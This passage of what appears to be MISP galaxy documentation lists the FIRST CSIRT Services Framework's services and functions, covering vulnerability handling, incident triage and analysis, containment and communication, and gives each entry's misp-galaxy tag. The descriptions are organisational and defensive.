One of the primary sources of vulnerability information may be reports or questions sent from a CSIRT's constituents or other third parties. The CSIRT should anticipate that vulnerabilities may be reported from these various sources, and provide a mechanism, a process, and guidance for vulnerability reporting. Reporting infrastructures may include email or a web-based vulnerability reporting form. Not all vulnerabilities are reported directly to a CSIRT by constituents or third parties through the established channels. Supporting guidance should include reporting guidelines, contact information, and any disclosure policies. To enable constituents to report vulnerabilities more effectively, the CSIRT should provide one or more mechanisms as well as guidance or instructions on what and how to securely report vulnerabilities. Reporting mechanisms can include email, a website, a dedicated vulnerability reporting form or portal, or other appropriate methods to enable reports to be submitted safely and securely. Reporting guidance, if not included as part of a vulnerability reporting form itself, should be provided in separate documentation or via a web

page, and should list the specific information that is desirable to be included in the report.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Vulnerability report intake"*

Service: Vulnerability analysis

The Vulnerability Analysis service consists of functions aimed at gaining an understanding of the vulnerability and its potential impact, identifying the underlying issue or flaw (root cause) that allows the vulnerability to be exploited, and identifying one or more remediation or mitigation strategies to prevent or minimize the exploitation of the vulnerability. The Vulnerability Analysis service and functions can continue in parallel while the Vulnerability Coordination service and functions occur with other participants in a coordinated vulnerability disclosure (CVD) process.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Vulnerability analysis"*

Service: Vulnerability coordination

The handling of most vulnerabilities involves notifying, working with, and coordinating the exchange of relevant information with multiple parties including vulnerability finders/reporters, affected vendors, developers, PSRITs, or other trusted experts (e.g., researchers, CSIRTs, vulnerability coordinators) who can work together to analyze and fix the vulnerability.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Vulnerability coordination"*

Service: Vulnerability disclosure

Inform the constituents of any known vulnerabilities (potential entry points for attackers), so that their systems can be kept up to date and monitored for exploits. Disclosure methods may include publication of information through multiple communication channels (e.g., website, email, social media), a vulnerability database, or other media. This service often, but not always, occurs following Vulnerability Coordination.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Vulnerability disclosure"*

Service: Vulnerability response

The functions under this service are intended to determine whether a disclosed vulnerability exists on a constituent's systems, often through the intentional act of looking for the presence of such vulnerabilities. The service can also include the follow-on actions to remediate or mitigate the vulnerability through the deployment of patches or workaround strategies.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Vulnerability response"*

Service: Data acquisition

Solicit, collect, determine, and satisfy the constituencies' information requirements to achieve awareness of important internal and external relevant activities. This service includes the logistics

of collecting relevant information including news of current events, scheduling future events, reports and feeds, filtering the collected information, organizing information for use in incident analysis, prevent, detection, or other activities (such as planning or trending), storing it for later use, improving its “searchability”, and more. Collected data will be used to determine the preventative measures needed and to help make informed decisions regarding incident management and information assurance activities. Without a basic perception of important environmental elements, the risk of other services forming an incorrect picture increases. CSIRTs will need to establish policy and procedures, and may employ technology to collect and vet information.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Data acquisition"*

Service: Analysis and synthesis

The process of using current data, history, and analysis techniques to determine what is occurring that may impact the constituency assets and security posture, often done by determining an answer to a question or testing an intuition. Analysis may reveal when events do not match typical expected behavior, or may reveal information about the circumstance, nature, or origin of events or behaviors. Analysis may reveal implications to current and future situations. For example: a system may log that a user ID successfully logged into the system, but the system does not indicate whether the event was performed by a legitimate user. New sources (such as interviews with the user) will need to be incorporated into the analysis to provide the team with a more accurate picture to determine the legitimacy of the event. A variety of techniques may be used to analyze and interpret the collected data and its effect upon the constituency.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Analysis and synthesis"*

Service: Communication

The knowledge obtained from situational awareness must be communicated to the constituency. This will allow it to react to observations and to take actions that will improve defensive situations, e.g., reducing third-party risk by improving the security environment at certain high-risk suppliers.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Communication"*

Service: Awareness building

This service includes working with the constituency, experts, and trusted partners to raise the collective understanding of threats and actions that can be taken to prevent or mitigate the risks posed by these threats.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Awareness building"*

Service: Training and education

A training and education program can help the CSIRT to establish relationships and to improve the overall cybersecurity posture of its constituency, including the ability to prevent future incidents

from happening. Such a program can help maintain user awareness help the constituency understand the changing landscape and threats facilitate information exchange between the CSIRT and its constituency train the constituency on tools, processes and procedures related to security and incident management. This can be done through various types of activities including documenting the knowledge, skills, and abilities (KSAs) required, developing educational and training materials, delivering content, mentoring, and professional and skill development. Each of these activities will collectively contribute to the constituency's and the team's capabilities.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Training and education"*

Service: Exercises

Services are offered by the organization to constituents that support the design, execution, and evaluation of cyber exercises intended to train and/or evaluate the capabilities of individual constituents and the stakeholder community as a whole, including communications capabilities. These types of exercises can be used to test policies and procedures: assess whether there are sufficient policies and procedures in place to effectively detect, respond and mitigate incidents. This is, generally, a paper/table-top exercise. test operational readiness: assess whether the organization has an incident management capability that is able to detect, respond to and mitigate incidents in a timely and successful manner, as well as to test whether the right people are in place, directories are up-to-date, and if procedures are executed correctly. This service addresses both the needs of the organization and the needs of its constituents. More specifically, through the simulation of cybersecurity events/incidents, exercises can be used for one or several objectives: Demonstrate: Illustrate cybersecurity services and functions, as well as vulnerabilities, threats, and risks, in order to raise awareness. Train: Instruct staff on new tools, techniques, and procedures:

Exercise: Provide an opportunity for staff to use tools, techniques, and procedures they are expected to be knowledgeable about. Exercising is necessary for perishable skills and helps improve and maintain efficiency. Assess: Analyze and understand the level of effectiveness and efficiency of cybersecurity services and functions, as well as the level of staff preparedness. Verify: Determine whether a specified level of effectiveness and/or efficiency can be achieved for cybersecurity services and functions.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Exercises"*

Service: Technical and policy advisory

Support the CSIRT constituency and key stakeholders, internal or external to the constituency, in activities related to risk management and business continuity, providing technical advice as needed and contributing to the creation and implementation of the constituency's policies, as well as influencing them to enable the CSIRT to be more effective. Policies are also important in legitimizing the services of a CSIRT.

The tag is: *misp-galaxy:first-csirt-services-framework="Service: Technical and policy advisory"*

Function: Log and sensor management

Sensors and log sources need operational management throughout their lifecycle. They must be deployed, onboarded, and decommissioned. Outages, data quality/scope, and configuration issues must be identified and resolved. Sensors that have some form of configuration such as pattern definitions need their configuration maintained in order to remain effective. Sensors may also include external detection services or Open Source Intelligence (OSINT) sources, if they form the basis for detection use cases.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Log and sensor management"*

Function: Detection use case management

New detection approaches are developed, tested, and improved, and eventually onboarded into a detection use case in production. Instructions for analyst triage, qualification, and correlation need to be developed, for example in the form of playbooks and Standard Operating Procedures (SOPs). Use cases that do not perform well, i.e., that have an unfavorable benefit/effort ratio, need to be improved, redefined, or abandoned. The portfolio of detection use cases should be expanded in a risk-oriented way and in coordination with preventive controls.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Detection use case management"*

Function: Contextual data management

The various contextual data sources that are involved in detection and enrichment need to be managed throughout their lifecycle. These can be live APIs to or exports from other IT systems such as a Configuration Management Database (CMDB), Identity and Access Management (IAM), or Threat Intel systems, or entirely separate data sets that need to be managed manually. The latter would be the case for indicator lists, watchlists and whitelists to suppress false positives.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Contextual data management"*

Function: Correlation

Potential information security incidents pertaining to the same assets (e.g., systems, services, customers) or identities (e.g., users), or which are otherwise directly related to other potential information security incidents are grouped together and escalated as a single information security incident in order to avoid duplicate efforts. New potential information security incidents directly related to ongoing information security incidents are assigned to that information security incident instead of opening a new, separate information security incident.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Correlation"*

Function: Qualification

Potential information security incidents need to be triaged and each qualified as an information security incident (true positive) or as a false alarm (false positive). Because analysts have a limited

number of potential information security incidents they can analyze, and in order to avoid alert fatigue, automation is key. Mature tooling facilitates effective triage by enriching with context information, assigning risk scores based on the criticality of affected assets and identities and/or automatically identifying related information security events. Recurring cases that can be automated should be identified and automated. Potential information security incidents with higher criticality should be analyzed before less critical ones. In addition to qualification as true or false positives, a more fine-grained qualification is an important input for continuous improvement of detection use cases as well as the management of log sources, sensors, and contextual data sources. More fine-grained qualification can also support the definition of higher-quality KPIs for measuring the success of this service area.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Qualification"*

Function: Information security incident report receipt

Effective intake of information security incident reports requires mechanisms and processes to receive the reports from constituents, stakeholders, and third parties (e.g., finders, researchers, ISACs, other CSIRTs). Information security incident reports may include affected devices/networks/users/organizations, conditions already identified like exploited vulnerabilities, impact both on technical and business level, and actions that have been taken to start remediation and/or mitigation steps and potentially resolution. Occasionally, information security incident information may be received jointly as part of the input to other services, most namely the Vulnerability Report Intake (e.g., if an information security incident is reported that has been identified while analyzing a vulnerability report). Automatically submitted reports might or might not be acknowledged pending further choices of the implemented interfaces and protocols.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Information security incident report receipt"*

Function: Information security incident triage and processing

Information Security Incident Reports are reviewed and triaged to obtain an initial understanding of the information security incident in question. It is of particular importance whether it has a real information security impact on the target and can result (or has already resulted) in damage to the confidentiality, availability, integrity, and/or authenticity of information assets or other assets. Depending on the amount of detail and quality of the information provided in the initial report, it may or not be obvious whether a real information security incident has occurred or if there is a different reason—such as misconfiguration or hardware failure. The next step will be determined on the basis of the preliminary assessment (e.g., process the report for further analysis; seek additional information from the reporter or other sources; decide that the report needs no further action or is a false alarm). It is possible that attacks may originate from within the constituency of a CSIRT, may target this constituency, or the constituency is affected by collateral effects only. If the CSIRT does not provide Information Security Management services for the identified targets, then the report should be forwarded securely to an external group for handling, such as the affected organization(s) or CSIRT(s). Unless there is a reason to decline an information security incident report or the report has been forwarded to another entity responsible for its handling, the report

should be passed on to the Vulnerability Analysis service for further review, analysis, and handling.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Information security incident triage and processing"*

Function: Information security incident triage (prioritization and categorization)

The Analyzing Information Security Incidents service begins with a review of the available information to categorize, prioritize, and assess the impact an information security incident has on the involved systems relevant to the CSIRT's mandate. Some of this may have been documented during the Information Security Incident Report Triage and Processing function (of the Information Security Incident Report Intake service) if the information security incident was reported to the CSIRT by a constituent or third party. If prior triage has not already been completed, the information security incident may be assigned to a subject matter expert who can provide technical confirmation that it has some impact on the involved systems and is relevant to the CSIRT's mandate (i.e., a potential security impact on networks or systems that can result in damage to the confidentiality, availability, or integrity of information assets in an area the CSIRT according to its mandate).

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Information security incident triage (prioritization and categorization)"*

Function: Information collection

Enable the collection of all valuable information to obtain the best understanding of the context, so that the origin and the content of the information can be appropriately evaluated and tagged to be used for any further processing. While collecting information, the agreed sharing policies and limitations of what data can be used in which context or for what form of processing must be accepted and adhered to. Also, the collection mechanisms and procedures must ensure that proper labeling and attribution of sources is used in order to later validate the origins as well as the appropriateness or authenticity.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Information collection"*

Function: Detailed analysis coordination

As more detailed technical analysis may be required, such analysis may be executed by other experts (inside or outside the host organization or CSIRT) or other third parties (such as a service provider specialized in such analysis). This requires initiating and tracking such activities up to the successful delivery of the desired analysis.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Detailed analysis coordination"*

Function: Information security incident root cause analysis

This function involves the process and actions required to understand the architecture, usage, or implementation flaw(s) that caused or exposed systems, networks, users, organizations, etc. to the kind of attack or exploit or compromise as exercised against the targets of an information security incident. It is also concerned with the circumstances in which an attacker could compromise more systems based on the initial access to gain further access. Depending on the nature of the information security incident, it may be difficult for a CSIRT to perform this function thoroughly. In many situations, this function may best be conducted by the affected target itself, as especially in the context of Coordinating CSIRTs no detailed technical knowledge is available about systems or networks that have been compromised.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Information security incident root cause analysis"*

Function: Cross-incident correlation

This function involves the correlation of available information about multiple information security incidents to determine interrelations, trends, or applicable mitigations from already closed information security incidents to improve the response to currently handled information security incidents.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Cross-incident correlation"*

Function: Media or surface analysis

This function involves identification and characterization of basic information and metadata about artefacts, including but not limited to file types, string outputs, cryptographic hashes, certificates, file sizes, file/directory names. As all available information is gathered and analyzed further, this may be used to review any public/open or private/closed source information repositories to learn more about the artefact or its behavior, as such information can be used to determine the next steps.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Media or surface analysis"*

Function: Reverse engineering

To provide a deeper analysis of malware artefacts to include identifying hidden actions and triggering commands. Reverse engineering allows the analyst to dig past any obfuscation and compilation (for binaries) and identify the program, script, or code that makes up the malware, either by uncovering any source code or by disassembling the binary into assembly language and interpreting it. The analyst uncovers all of the machine language exposed functions and actions the malware can perform. Reverse engineering is a deeper analysis that is carried out when surface and runtime analysis do not provide the full information needed.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Reverse engineering"*

Function: Run time or dynamic analysis

This function involves understanding of an artifact's capabilities via observation while running the sample in a real or emulated environment (e.g., sandbox, virtual environment, and hardware or software emulators). Use of a simulated environment captures changes to the host, network traffic, and output from execution. The basic premise is to try to see artefact in operation in as close to a real-life situation as possible.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Run time or dynamic analysis"*

Function: Comparative analysis

This function involves exploring an artefact's relationship to other artefacts. This may identify similarities in code or modus operandi, targets, intent, and authors. Such similarities can be used to derive the scope of an attack (e.g., is there a larger target, has similar code been used before). Comparative analysis techniques can include exact match comparisons or code similarity comparisons. Comparative analysis provides a broader view of how the artefact or similar versions of it were used and changed over time, helping to understand the evaluation of malware or other malicious types of artefacts.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Comparative analysis"*

Function: Response plan establishment

Without fully understanding the business impact and requirements to mitigate and recover, no meaningful response will be provided. As there is a conflict of interest—tracking the attack to gain more intelligence vs. containing the attack to avoid further losses—it is necessary to take all interests into consideration and work out a response plan that is plausible to address the known facts and provide the desired outcome within the required timeframe. As with all plans, it must be considered that whenever new analysis results become available, the new findings need to be reviewed. Indeed, the response plan will usually need to be changed to provide continuous orientation and guidance. But without such plan—unless the response is handled by one small organizational group with little requirement of external interfaces or other entities—the activities might not be carried out effectively or efficiently due to a lack of coordination.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Response plan establishment"*

Function: Ad hoc measures and containment

The immediate challenge in case of an information security incident is to stop it from spreading. While systems are compromised or malware is active on end user systems, further data losses and more compromises occur. It is usually the main objective of attacks to reach out to specific data and systems, including attacks (including but not limited to lateral movements) to other organizations both inside and outside the organization suffering from the information security incident. Stopping or at least limiting the extent of any malicious activities or further losses requires short-term actions such as blocking or filtering traffic and removing access to specific services or systems, and can also result in the disconnection of critical systems. Denying further access to potentially critical

evidence data will allow a full analysis of such evidence. Denying further access to other systems and networks will also limit the exposure from liability as a result of damage done to other organizations. Stopping immediate damage and limiting the extent of malicious activity through short-term tactical actions (for example, blocking or filtering traffic) can also involve regaining control of systems. As long as attackers or active malware have ready access to more systems or networks, no return to normal operation will be possible.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Ad hoc measures and containment"*

Function: System restoration

Restore the integrity of affected systems and returning the affected data, systems, and networks to a non-degraded operational state, restoring the impacted services to full functionality. As business reality usually demands systems return to normal operation as soon as possible, there is a risk that not all means of unauthorized access have been removed successfully. Therefore, unless the analysis results are already available, even returned systems must be carefully monitored and managed. Especially if identified vulnerabilities and weaknesses cannot (yet) be eliminated, improved protection and detection mechanisms need to be applied to avoid the same or similar or types of information security incidents.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: System restoration"*

Function: Other information security entities support

A CSIRT may provide direct (onsite) assistance to help the constituents to recover from losses and to remove vulnerabilities. This might be a direct extension of offering analysis services on-site (see above). On the other hand, a CSIRT might choose to support the staff of the constituents responding to the information security incident with more detailed explanations, recommendations, etc.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Other information security entities support"*

Function: Communication

A CSIRT must account for the most accurate audience as communications are crafted and released. In return, a CSIRT must also be equipped to receive incoming feedback, reports, comments, and questions from a variety of sources based on its own communication. The security policy and the information sharing policy may require information to be handled in a strict manner. The CSIRT must be able to share with stakeholders in a reliable, secure, and private manner, both externally and internally. Non-disclosure agreements must be set up as far in advance as possible and communication resources set up accordingly. As an extension, the concept of “information under embargo” can also be used. Hence, a retention policy must also be established to ensure that both the data used to craft the information and the information itself are properly handled, shared, and kept based on constraints—such as time—until these constraints become void or the information is publicly disclosed. Communication channels can take multiple forms based upon the needs of stakeholders and constituents. All information communicated must be tagged according to the information sharing policy. Traffic Light Protocol may be utilized.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Communication"*

Function: Notification distribution

A security incident touches on many internal and potentially external entities and, possibly, systems, and networks. As CSIRTs are a central point for receiving reports of potential information security incidents, they also serve as a hub for notifying authorized points of contact about them. The notification usually will provide not only the appropriate technical details but also information about the expected response and a point of contact for any fellow-up.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Notification distribution"*

Function: Relevant information distribution

As the response to an information security incident progresses, more analysis results and reports from potentially other security experts, CSIRTs, or victims become available. It may be helpful to pass some of the information and lessons learned on to the Knowledge Transfer Service Area (if supported) to improve training and technical documents as well as to help create appropriate awareness, especially if new attacks or incident trends are identified.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Relevant information distribution"*

Function: Activities coordination

As many entities are potentially involved in responding to an information security incident, it is necessary to track the status of all communication and activities. This involves the actions requested by a CSIRT or requests for sharing of further information as well as requests for technical analysis of artefacts s or the sharing of indicators of compromise, information about other victims, etc. This primarily occurs when the CSIRT is reliant on expertise and resources outside of the direct control of the CSIRT to effectuate the actions necessary to mitigate an incident. But it also occurs inside larger organizations for which an internal CSIRT coordinates the mitigation and recovery activities. By offering bilateral or multilateral coordination, the CSIRT participates in the exchange of information to enable those resources with the ability to take action to do so or to assist others in the detection, protection, or remediation of ongoing activities from attackers and help to close the information security incident.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Activities coordination"*

Function: Reporting

Delivering concise and factual information about the current status of activities requested or carried out in response to an information security incident. Instead of waiting to be pulled for such information as part of an ongoing coordinated action as required for any successful response, timely reports are critical to enable effective coordination.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Reporting"*

Function: Media communication

Communicating with the media is unavailable in many cases. While CSIRTs usually try to avoid such contact, it is important to realize that the media can help to mitigate specific types of ongoing and large-scale attacks causing information security incidents. For this it is necessary to explain what is causing the information security incidents and explain the impact on users and/or organizations. In some cases, a CSIRT might choose to provide this information already in a manner suitable for release to the public, but this certainly requires specific skills inside the CSIRT not readily available in most. In any case, if a CSIRT communicates with the media, it must take great care to simplify the technical issues as much as possible and leave out all confidential information.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Media communication"*

Function: Information distribution to constituents

As the response to a crisis progresses, information must be distributed and disseminated. As the CSIRT has established such resources for its own purposes, crisis management may see it as appropriate or necessary to use such resources.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Information distribution to constituents"*

Function: Information security status reporting

The function involves delivering concise and factual information about the current status of cyber security inside the constituency. As a crisis might be used to start other attacks or as occurring attacks might be part of the overall activities leading this crisis, it is very important for the crisis management team to establish complete situational awareness. The CSIRT can provide such situational awareness for its services and constituents. This may either be requested or is expected by standard policies in a time of crisis. In any case, as crisis management is only successful based on the established information flow as it depends on coordinate resources to address the most critical aspects of the crisis, reporting must be timely and accurate. As ongoing information security incidents will require resources to handle them, a decision must be taken to either discontinue the response for the duration of the incident (and allocate the now available resources to other areas) or to carry on. Reasonable decisions can only be taken based on the best situational awareness available.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Information security status reporting"*

Function: Strategic decisions communication

Informing other entities in a timely manner about the impact caused by the crisis on currently open information security incidents provides a clear understanding of what support can also be provided by the CSIRT during the duration of the crisis, and makes sure that entities understand what to expect. It also makes sure that other parties stop their support or interaction with the CSIRT as they might believe that the crisis is taking over. As the crisis management team may decide to

postpone the response to an actual information security incident due to a crisis, such decisions need to be communicated to all entities currently informed and participating. This is to avoid misunderstandings and further issues that may also lead to a loss of trust in the CSIRT and/or host organization.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Strategic decisions communication"*

Function: Incident response vulnerability discovery

During the course of analyzing a security incident, information may be discovered that indicates that a vulnerability was exploited by the attacker. An incident may have been enabled through exploitation of a known vulnerability that was previously unpatched or unmitigated; or it may be due to a new (zero-day) vulnerability. Some of this vulnerability information might be received as an output from one of the services of the Information Security Incident Management service area if a vulnerability was exploited as part of an incident. The information can then be passed on to the Vulnerability Triage function or the Vulnerability Analysis service, as appropriate.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Incident response vulnerability discovery"*

Function: Public source vulnerability discovery

A CSIRT may initially learn about a new vulnerability from various public sources that announce such information. The sources can include vendor announcements, security websites, mailing lists, vulnerability databases, security conferences, social media, etc. This function may also learn of new vulnerabilities through other third-party sources that may not be completely open to the public, such as through paid subscriptions or premium services where information is shared with only a limited group. Staff may be assigned the responsibility to perform this function and collect information to organize it for further review and sharing. Similar vulnerability information might also be received from the services of the Situational Awareness service area.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Public source vulnerability discovery"*

Function: Vulnerability research

This function includes the discovery of new vulnerabilities as a result of specific CSIRT activities, such as the testing of systems or software using fuzz testing (fuzzing), or through the reverse engineering of malware. This function may also receive input from the service(s) of the Information Security Incident Management service area or the Situational Awareness service area that would initiate this function to look for suspected vulnerabilities. The discovery of a new vulnerability as a result of this vulnerability research function may become input to the Incident Response service, Vulnerability Detection function (see sub-functions for Vulnerability Scanning and Vulnerability Penetration Testing).

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Vulnerability research"*

Function: Vulnerability report receipt

Effective intake of vulnerability reports requires mechanisms and processes to receive the reports from constituents, stakeholders, and third parties (finders, researchers, vendors, PSIRTs, other CSIRTs or vulnerability coordinators, etc.). Vulnerability information may include affected devices, conditions necessary to exploit the vulnerability, impact (e.g., privilege escalation, data access, etc.), as well as actions taken to resolve the vulnerability, remediation and/or mitigation steps, and resolution. Occasionally, vulnerability information may be received jointly as part of the input to other services, most notably the Information Security Incident Report Intake (e.g., if a vulnerability is reported to be exploited as part of an incident report).

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Vulnerability report receipt"*

Function: Vulnerability report triage and processing

Vulnerability Reports are reviewed and triaged to obtain an initial understanding of the vulnerability in question and determine what to do next (e.g., process the vulnerability for further analysis, seek additional information from the reporter or other sources, decide that the vulnerability needs no further action). Depending on the amount of detail and quality of the information provided in the vulnerability report, it may or not be obvious whether a new vulnerability exists. Unless there is a reason to decline a vulnerability report, the report should be passed on to the Vulnerability Analysis service for further review, analysis, and handling. If the CSIRT does not provide a Vulnerability Analysis service, then the report should be securely forwarded to an external group for handling, such as the affected vendor(s), PSIRT(s), or a vulnerability coordinator.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Vulnerability report triage and processing"*

Function: Vulnerability triage (validation and categorization)

The Vulnerability Analysis service begins with a review of the available information to categorize, prioritize, and assess whether a vulnerability has some impact on the involved systems and is relevant to the CSIRT's mandate. Some of this may have been documented during the Vulnerability Report Triage and Processing function (of the Vulnerability Report Intake service) if the vulnerability was reported to the CSIRT by a constituent or third party. If prior triage has not already been completed, the vulnerability may be assigned to a subject matter expert who can provide technical confirmation that it has some impact on the involved systems and is relevant to the CSIRT's mandate (i.e., the potential security impact on networks or systems that can result in damage to the confidentiality, availability, or integrity of information assets in an area of the CSIRT according to its mandate).

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Vulnerability triage (validation and categorization)"*

Function: Vulnerability root cause analysis

The goal of this analysis is to identify the root cause of the vulnerability, identifying the circumstances that allow a vulnerability to exist, and in which circumstances an attacker can consequently exploit the vulnerability. This analysis may also attempt to understand the weakness(es) leveraged to instigate an incident and the adversarial tradecraft utilized to leverage that weakness. Depending on the nature of the vulnerability, it may be difficult for a CSIRT to perform this function thoroughly. In some cases, this function may have already been performed by the finder or reporter of the vulnerability. In many situations, this function may best be conducted by the product vendor or developer of the affected software or system or their respective PSIRT. It is also possible that a vulnerability is present in more than one product, in which case multiple analyses may be needed of the affected software or systems, requiring coordination with multiple vendors, PSIRTs, or stakeholders.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Vulnerability root cause analysis"*

Function: Vulnerability remediation development

This function will ideally identify a remediation or a fix for a vulnerability. If a vendor patch or fix is not available in a timely manner, a temporary solution or workaround, called a mitigation, may be recommended, such as disabling the affected software or making configuration changes, to minimize the potential negative effects of the vulnerability. Note that the actual application or deployment of a remediation (patch) or mitigation (workaround) is a function of a separate service, called Vulnerability Response in this framework. As part of the Vulnerability Analysis service and Remediation Development, this function may optionally include other sub-functions or activities, such as validating the changing of a procedure or design, reviewing remediation by a third party, or identifying any new vulnerabilities introduced in the remediation steps. Vulnerabilities that are not remediated or mitigated should be documented as acceptable risks. This function will often receive information or input from the affected product's vendor(s), sometimes as part of the initial report or announcement handled by other services or functions.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Vulnerability remediation development"*

Function: Vulnerability notification/reporting

The handling of most vulnerabilities involves notifying, working with, and coordinating the exchange of relevant information with multiple parties including the affected vendors, developers, PSIRTs, or other trusted experts (e.g., researchers, CSIRTs, vulnerability coordinators) who can work together to analyze and fix the vulnerability.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Vulnerability notification/reporting"*

Function: Vulnerability stakeholder coordination

Coordinate the exchange of information among the finders/researchers, vendors, PSIRTS, and any other participants in the coordinate vulnerability disclosure (CVD) efforts to analyze and fix the

vulnerability and prepare for the disclosure of the vulnerability. This coordination should also include agreement by participants on the timing and synchronization of the disclosure.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Vulnerability stakeholder coordination"*

Function: Vulnerability disclosure policy and infrastructure maintenance

CSIRTs that handle vulnerability reports should define their vulnerability disclosure policy and make that policy available to its constituents, stakeholders, and CVD participants, preferably by publishing it on the CSIRT's website. The vulnerability disclosure policy will provide transparency to stakeholders and help to promote appropriate disclosure policies. Policies can range from no disclosure, where no vulnerability information is disclosed, to limited disclosure, where only some information is made available, to full disclosure, where all information is disclosed, which may include proof-of-concept exploits. The disclosure policy should include factors such as the scope of the policy, references to any reporting mechanisms and guidelines, and expected timeframes and mechanisms for the disclosure of the vulnerability.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Vulnerability disclosure policy and infrastructure maintenance"*

Function: Vulnerability announcement/communication/dissemination

Disclose vulnerability information to defined constituents. The disclosure can be made through any or all of the mechanisms identified in the vulnerability disclosure policy. Dissemination mechanisms can vary depending on the needs or expectations of the target audience. The communication can be in the form of an announcement or security advisory distributed via email or text messaging, a publication posted to a website or social media channel, or other communication forms and channels as appropriate. Content to be included in the disclosure should follow a defined format, which typically can include information such as an overview or description, a unique vulnerability identifier, impact, severity, or CVSS score, resolution (remediation or mitigation), and supporting references or materials.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Vulnerability announcement/communication/dissemination"*

Function: Post-vulnerability disclosure feedback

Following the disclosure of a new vulnerability, CSIRTs can expect to receive follow-on communications in the form of questions from some constituents about a vulnerability document. The questions may indicate a need for clarification, revision, or amendment of the vulnerability disclosure mechanism, if warranted. Information from constituents may simply be an acknowledgement or receipt of the vulnerability document, or the constituent may report an issue or difficulty in deploying the suggested remediation/mitigation. If the vulnerability was determined

to have been already exploited, constituents may be reporting newly discovered incidents as a result of the vulnerability disclosure. Such reports should feed into the functions of the CSIRT's Incident Reporting service.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Post-vulnerability disclosure feedback"*

Function: Vulnerability detection / scanning

The goal of this function is to detect any previously unpatched or unmitigated vulnerabilities before they are exploited or impact the network or devices. This function may be initiated in response to an announcement about a new vulnerability, or it may be achieved as part of a periodically scheduled scan for known vulnerabilities. In order to provide vulnerability detection effectively, it is useful to have a systems inventory. Having such an inventory that can be queried for software version information can enable an organization to quickly assess the likely prevalence of a newly reported vulnerability in its infrastructure.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Vulnerability detection / scanning"*

Function: Vulnerability remediation

Vulnerability remediation is intended to resolve or eliminate a vulnerability. For software vulnerabilities, this typically occurs through the deployment and installation of vendor-provided solutions in the form of software updates or patches. When approved patches are unavailable or cannot be deployed, an alternative mitigation or workaround may be applied as a countermeasure to prevent exploitation of the vulnerability. This function often follows a positive identification of a vulnerability as the result of the Vulnerability Detection/Scanning/Hunting function.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Vulnerability remediation"*

Function: Policy aggregation, distillation, and guidance

The collection, aggregation, and distillation of policy establishes the basis of acceptable normal activity. The end result is a context that establishes how the constituency and its infrastructure is supposed to be operating under acceptable conditions. For organizational CSIRTs, context includes understanding the organizations acceptable policies, plans, normal operating conditions, accepted risks, and tradeoffs. Understanding and context establish the basis against which observations can be evaluated.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Policy aggregation, distillation, and guidance"*

Function: Asset mapping to functions, roles, actions, and key risks

CSIRT teams need to understand the current cyber security state of a constituency, and have a good understanding of what is acceptable security. They may need to know: Legitimate users of internal and public-facing systems and devices Authorized devices and what they are used for Approved processes and applications, where they are allowed, and how they serve the constituency This information helps establish prioritization of assets that are potentially at risk, which can provide context for incident management activities. The more precise the information available to CSIRT team, the easier it will be to infer security issues and do something about them. Precise information may mean the CSIRT having access to established security policies, current access controls, up-to-date hardware and software inventories, and detailed network diagrams.

The tag is: *misp-galaxy:first-csirt-services-framework="Function: Asset mapping to functions, roles, actions, and key risks"*

Function: Collection

